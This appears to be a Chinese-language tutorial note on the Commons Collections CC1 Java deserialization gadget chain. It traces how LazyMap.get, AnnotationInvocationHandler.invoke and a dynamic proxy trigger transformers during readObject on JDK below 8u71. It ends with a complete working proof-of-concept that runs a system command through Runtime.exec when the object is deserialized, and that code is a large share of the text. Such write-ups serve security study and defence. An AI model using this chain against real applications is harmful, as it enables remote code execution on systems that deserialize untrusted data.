要求JDK版本在8u71以下

LazyMap中的get方法也有调用transform方法

1.jpg

这里的factory是一个可控的transformer

而AnnotationInvocationHandler中的Invoke方法中有调用get方法
2.jpg

Object result = memberValues.get(member);

memberValues就是我们传入的map,是可控的

AnnotationInvocationHandler类实现了InvocationHandler,我们只需要将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发LazyMap#get

而AnnotationInvocationHandler的readObject方法调用了memberValues.entrySet()

我们先让memberValues为一个代理类,代理对象是一个新的AnnotationInvocationHandler,其中的memberValues为一个LazyMap类

最终Poc:

 Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object []{"calc"})
        };
        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedtransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,outerMap);
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
        Object o = (Object) constructor.newInstance(Override.class,proxyMap);
        serialize(o);
        unserialize();

3.jpg

Q.E.D.